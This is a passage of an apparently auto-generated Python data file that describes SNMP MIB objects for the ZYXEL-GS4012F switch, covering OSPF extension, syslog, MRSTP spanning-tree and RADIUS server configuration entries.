"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.3.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"ospfRedistributeRouteMetric" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.3.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"ospfNbrExtTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.4",
"status" : "current",
"description" :
"""""",
}, # table
"ospfNbrExtEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.4.1",
"status" : "current",
"linkage" : [
"ospfNbrIpAddr",
"ospfNbrAddressLessIndex",
],
"description" :
"""""",
}, # row
"ospfNbrExtRole" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.4.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"dr" : {
"nodetype" : "namednumber",
"number" : "1"
},
"backup" : {
"nodetype" : "namednumber",
"number" : "2"
},
"dr_other" : {
"nodetype" : "namednumber",
"number" : "3"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfNbrExtDeadtime" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.4.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfNbrExtInterface" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.4.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfNbrExtRXmtL" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.4.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfNbrExtRqstL" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.4.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfNbrExtDBsmL" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.4.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfLsdbExtTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.5",
"status" : "current",
"description" :
"""""",
}, # table
"ospfLsdbExtEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.5.1",
"status" : "current",
"linkage" : [
"ospfLsdbAreaId",
"ospfLsdbType",
"ospfLsdbLSID",
"ospfLsdbRouterId",
],
"description" :
"""""",
}, # row
"ospfLsdbExtLinkCount" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.5.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfLsdbExtRouteAddress" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.5.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfLsdbExtRouteMaskbits" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.5.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfVirtualLinkTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.6",
"status" : "current",
"description" :
"""""",
}, # table
"ospfVirtualLinkEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.6.1",
"status" : "current",
"linkage" : [
"ospfVirtIfAreaID",
"ospfVirtIfNeighbor",
],
"description" :
"""""",
}, # row
"ospfVirtualLinkName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.6.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"ospfVirtualLinkKeyId" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.6.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"sysLogSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.41",
}, # node
"sysLogState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.41.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""sysLog enabled/disabled for the switch.""",
}, # scalar
"sysLogTypeTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.41.2",
"status" : "current",
"description" :
"""""",
}, # table
"sysLogTypeEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.41.2.1",
"status" : "current",
"linkage" : [
"sysLogTypeIndex",
],
"description" :
"""An entry in sysLogTypeTable.""",
}, # row
"sysLogTypeIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.41.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "noaccess",
"description" :
"""""",
}, # column
"sysLogTypeName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.41.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"sysLogTypeState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.41.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"sysLogTypeFacility" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.41.2.1.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"local_user0" : {
"nodetype" : "namednumber",
"number" : "0"
},
"local_user1" : {
"nodetype" : "namednumber",
"number" : "1"
},
"local_user2" : {
"nodetype" : "namednumber",
"number" : "2"
},
"local_user3" : {
"nodetype" : "namednumber",
"number" : "3"
},
"local_user4" : {
"nodetype" : "namednumber",
"number" : "4"
},
"local_user5" : {
"nodetype" : "namednumber",
"number" : "5"
},
"local_user6" : {
"nodetype" : "namednumber",
"number" : "6"
},
"local_user7" : {
"nodetype" : "namednumber",
"number" : "7"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"sysLogServerTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.41.3",
"status" : "current",
"description" :
"""""",
}, # table
"sysLogServerEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.41.3.1",
"create" : "true",
"status" : "current",
"linkage" : [
"sysLogServerAddress",
],
"description" :
"""An entry in sysLogServerTable.""",
}, # row
"sysLogServerAddress" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.41.3.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "noaccess",
"description" :
"""""",
}, # column
"sysLogServerLogLevel" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.41.3.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"level0" : {
"nodetype" : "namednumber",
"number" : "0"
},
"level0-1" : {
"nodetype" : "namednumber",
"number" : "1"
},
"level0-2" : {
"nodetype" : "namednumber",
"number" : "2"
},
"level0-3" : {
"nodetype" : "namednumber",
"number" : "3"
},
"level0-4" : {
"nodetype" : "namednumber",
"number" : "4"
},
"level0-5" : {
"nodetype" : "namednumber",
"number" : "5"
},
"level0-6" : {
"nodetype" : "namednumber",
"number" : "6"
},
"level0-7" : {
"nodetype" : "namednumber",
"number" : "7"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"sysLogServerRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.41.3.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"mrstp" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42",
}, # node
"mrstpSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1",
}, # node
"mrstpBridgeTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1",
"status" : "current",
"description" :
"""""",
}, # table
"mrstpBridgeEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1",
"status" : "current",
"linkage" : [
"mrstpBridgeIndex",
],
"description" :
"""An entry in mrstpBridgeTable.""",
}, # row
"mrstpBridgeIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The tree index of the MRSTP.""",
}, # column
"mrstpState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""Enabled/disabled on the mrstp bridge.""",
}, # column
"mrstpProtocolSpecification" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"unknown" : {
"nodetype" : "namednumber",
"number" : "1"
},
"decLb100" : {
"nodetype" : "namednumber",
"number" : "2"
},
"ieee8021d" : {
"nodetype" : "namednumber",
"number" : "3"
},
},
},
"access" : "readonly",
"description" :
"""An indication of what version of the Spanning
Tree Protocol is being run. The value
'decLb100(2)' indicates the DEC LANbridge 100
Spanning Tree protocol. IEEE 802.1d
implementations will return 'ieee8021d(3)'. If
future versions of the IEEE Spanning Tree Protocol
are released that are incompatible with the
current version a new value will be defined.""",
}, # column
"mrstpPriority" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "0",
"max" : "65535"
},
],
"range" : {
"min" : "0",
"max" : "65535"
},
},
},
"access" : "readwrite",
"description" :
"""The value of the write-able portion of the Bridge
ID, i.e., the first two octets of the (8 octet
long) Bridge ID. The other (last) 6 octets of the
Bridge ID are given by the value of
dot1dBaseBridgeAddress.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.3.7""",
}, # column
"mrstpTimeSinceTopologyChange" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "TimeTicks"},
},
"access" : "readonly",
"description" :
"""The time (in hundredths of a second) since the
last time a topology change was detected by the
bridge entity.""",
"reference>" :
"""IEEE 802.1D-1990: Section 6.8.1.1.3""",
}, # column
"mrstpTopChanges" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.6",
"status" : "current",
"access" : "readonly",
"description" :
"""The total number of topology changes detected by
this bridge since the management entity was last
reset or initialized.""",
"reference>" :
"""IEEE 802.1D-1990: Section 6.8.1.1.3""",
}, # column
"mrstpDesignatedRoot" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"BRIDGE-MIB", "name" : "BridgeId"},
},
"access" : "readonly",
"description" :
"""The bridge identifier of the root of the spanning
tree as determined by the Spanning Tree Protocol
as executed by this node. This value is used as
the Root Identifier parameter in all Configuration
Bridge PDUs originated by this node.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.3.1""",
}, # column
"mrstpRootCost" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.8",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The cost of the path to the root as seen from
this bridge.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.3.2""",
}, # column
"mrstpRootPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.9",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The port number of the port which offers the
lowest cost path from this bridge to the root
bridge.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.3.3""",
}, # column
"mrstpMaxAge" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.10",
"status" : "current",
"syntax" : {
"type" : { "module" :"BRIDGE-MIB", "name" : "Timeout"},
},
"access" : "readonly",
"description" :
"""The maximum age of Spanning Tree Protocol
information learned from the network on any port
before it is discarded, in units of hundredths of
a second. This is the actual value that this
bridge is currently using.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.3.4""",
}, # column
"mrstpHelloTime" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.11",
"status" : "current",
"syntax" : {
"type" : { "module" :"BRIDGE-MIB", "name" : "Timeout"},
},
"access" : "readonly",
"description" :
"""The amount of time between the transmission of
Configuration bridge PDUs by this node on any port
when it is the root of the spanning tree or trying
to become so, in units of hundredths of a second.
This is the actual value that this bridge is
currently using.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.3.5""",
}, # column
"mrstpHoldTime" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.12",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""This time value determines the interval length
during which no more than two Configuration bridge
PDUs shall be transmitted by this node, in units
of hundredths of a second.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.3.14""",
}, # column
"mrstpForwardDelay" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.13",
"status" : "current",
"syntax" : {
"type" : { "module" :"BRIDGE-MIB", "name" : "Timeout"},
},
"access" : "readonly",
"description" :
"""This time value, measured in units of hundredths
of a second, controls how fast a port changes its
spanning state when moving towards the Forwarding
state. The value determines how long the port
stays in each of the Listening and Learning
states, which precede the Forwarding state. This
value is also used, when a topology change has
been detected and is underway, to age all dynamic
entries in the Forwarding Database. [Note that
this value is the one that this bridge is
currently using, in contrast to
mrstpBridgeForwardDelay which is the value that
this bridge and all others would start using
if/when this bridge were to become the root.]""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.3.6""",
}, # column
"mrstpBridgeMaxAge" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.14",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"parent module" : {
"name" : "BRIDGE-MIB",
"type" : "Timeout",
},
"ranges" : [
{
"min" : "600",
"max" : "4000"
},
],
"range" : {
"min" : "600",
"max" : "4000"
},
},
},
"access" : "readwrite",
"description" :
"""The value that all bridges use for MaxAge when
this bridge is acting as the root. Note that
802.1D-1990 specifies that the range for this
parameter is related to the value of
mrstpBridgeHelloTime. The granularity of this
timer is specified by 802.1D-1990 to be 1 second.
An agent may return a badValue error if a set is
attempted to a value which is not a whole number
of seconds.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.3.8""",
}, # column
"mrstpBridgeHelloTime" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.15",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"parent module" : {
"name" : "BRIDGE-MIB",
"type" : "Timeout",
},
"ranges" : [
{
"min" : "100",
"max" : "1000"
},
],
"range" : {
"min" : "100",
"max" : "1000"
},
},
},
"access" : "readwrite",
"description" :
"""The value that all bridges use for HelloTime when
this bridge is acting as the root. The
granularity of this timer is specified by 802.1D-
1990 to be 1 second. An agent may return a
badValue error if a set is attempted to a value
which is not a whole number of seconds.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.3.9""",
}, # column
"mrstpBridgeForwardDelay" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.1.1.16",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"parent module" : {
"name" : "BRIDGE-MIB",
"type" : "Timeout",
},
"ranges" : [
{
"min" : "400",
"max" : "3000"
},
],
"range" : {
"min" : "400",
"max" : "3000"
},
},
},
"access" : "readwrite",
"description" :
"""The value that all bridges use for ForwardDelay
when this bridge is acting as the root. Note that
802.1D-1990 specifies that the range for this
parameter is related to the value of
mrstpBridgeMaxAge. The granularity of this
timer is specified by 802.1D-1990 to be 1 second.
An agent may return a badValue error if a set is
attempted to a value which is not a whole number
of seconds.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.3.10""",
}, # column
"mrstpPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.2",
"status" : "current",
"description" :
"""A table that contains port-specific information
for the Spanning Tree Protocol.""",
}, # table
"mrstpPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.2.1",
"status" : "current",
"linkage" : [
"mrstpPort",
],
"description" :
"""A list of information maintained by every port
about the Spanning Tree Protocol state for that
port.""",
}, # row
"mrstpPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.2.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "65535"
},
],
"range" : {
"min" : "1",
"max" : "65535"
},
},
},
"access" : "readonly",
"description" :
"""The port number of the port for which this entry
contains Spanning Tree Protocol management
information.""",
"reference>" :
"""IEEE 802.1D-1990: Section 6.8.2.1.2""",
}, # column
"mrstpPortPriority" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.2.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "0",
"max" : "255"
},
],
"range" : {
"min" : "0",
"max" : "255"
},
},
},
"access" : "readwrite",
"description" :
"""The value of the priority field which is
contained in the first (in network byte order)
octet of the (2 octet long) Port ID. The other
octet of the Port ID is given by the value of
mrstpPort.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.5.1""",
}, # column
"mrstpPortState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.2.1.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"disabled" : {
"nodetype" : "namednumber",
"number" : "1"
},
"blocking" : {
"nodetype" : "namednumber",
"number" : "2"
},
"listening" : {
"nodetype" : "namednumber",
"number" : "3"
},
"learning" : {
"nodetype" : "namednumber",
"number" : "4"
},
"forwarding" : {
"nodetype" : "namednumber",
"number" : "5"
},
"broken" : {
"nodetype" : "namednumber",
"number" : "6"
},
},
},
"access" : "readonly",
"description" :
"""The port's current state as defined by
application of the Spanning Tree Protocol. This
state controls what action a port takes on
reception of a frame. If the bridge has detected
a port that is malfunctioning it will place that
port into the broken(6) state. For ports which
are disabled (see mrstpPortEnable), this object
will have a value of disabled(1).""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.5.2""",
}, # column
"mrstpPortEnable" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.2.1.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"enabled" : {
"nodetype" : "namednumber",
"number" : "1"
},
"disabled" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""The enabled/disabled status of the port.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.5.2""",
}, # column
"mrstpPortPathCost" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.2.1.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Integer32",
"ranges" : [
{
"min" : "1",
"max" : "65535"
},
],
"range" : {
"min" : "1",
"max" : "65535"
},
},
},
"access" : "readwrite",
"description" :
"""The contribution of this port to the path cost of
paths towards the spanning tree root which include
this port. 802.1D-1990 recommends that the
default value of this parameter be in inverse
proportion to the speed of the attached LAN.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.5.3""",
}, # column
"mrstpPortDesignatedRoot" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.2.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"BRIDGE-MIB", "name" : "BridgeId"},
},
"access" : "readonly",
"description" :
"""The unique Bridge Identifier of the Bridge
recorded as the Root in the Configuration BPDUs
transmitted by the Designated Bridge for the
segment to which the port is attached.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.5.4""",
}, # column
"mrstpPortDesignatedCost" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.2.1.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""The path cost of the Designated Port of the
segment connected to this port. This value is
compared to the Root Path Cost field in received
bridge PDUs.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.5.5""",
}, # column
"mrstpPortDesignatedBridge" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.2.1.8",
"status" : "current",
"syntax" : {
"type" : { "module" :"BRIDGE-MIB", "name" : "BridgeId"},
},
"access" : "readonly",
"description" :
"""The Bridge Identifier of the bridge which this
port considers to be the Designated Bridge for
this port's segment.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.5.6""",
}, # column
"mrstpPortDesignatedPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.2.1.9",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "OctetString",
"ranges" : [
{
"min" : "2",
"max" : "2"
},
],
"range" : {
"min" : "2",
"max" : "2"
},
},
},
"access" : "readonly",
"description" :
"""The Port Identifier of the port on the Designated
Bridge for this port's segment.""",
"reference>" :
"""IEEE 802.1D-1990: Section 4.5.5.7""",
}, # column
"mrstpPortForwardTransitions" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.2.1.10",
"status" : "current",
"access" : "readonly",
"description" :
"""The number of times this port has transitioned
from the Learning state to the Forwarding state.""",
}, # column
"mrstpPortOnBridgeIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.1.2.1.11",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Indetify the bridge index that this port joined to in MRSTP.""",
}, # column
"mrstpNotifications" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.42.2",
}, # node
"radiusServerSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43",
}, # node
"radiusAuthServerSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.1",
}, # node
"radiusAuthServerTimeout" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"radiusAuthServerTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.1.3",
"status" : "current",
"description" :
"""""",
}, # table
"radiusAuthServerEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.1.3.1",
"status" : "current",
"linkage" : [
"radiusAuthServerIndex",
],
"description" :
"""An entry in radiusAuthServerTable.""",
}, # row
"radiusAuthServerIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.1.3.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "noaccess",
"description" :
"""""",
}, # column
"radiusAuthServerIpAddr" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.1.3.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"radiusAuthServerUdpPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.43.1.3.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
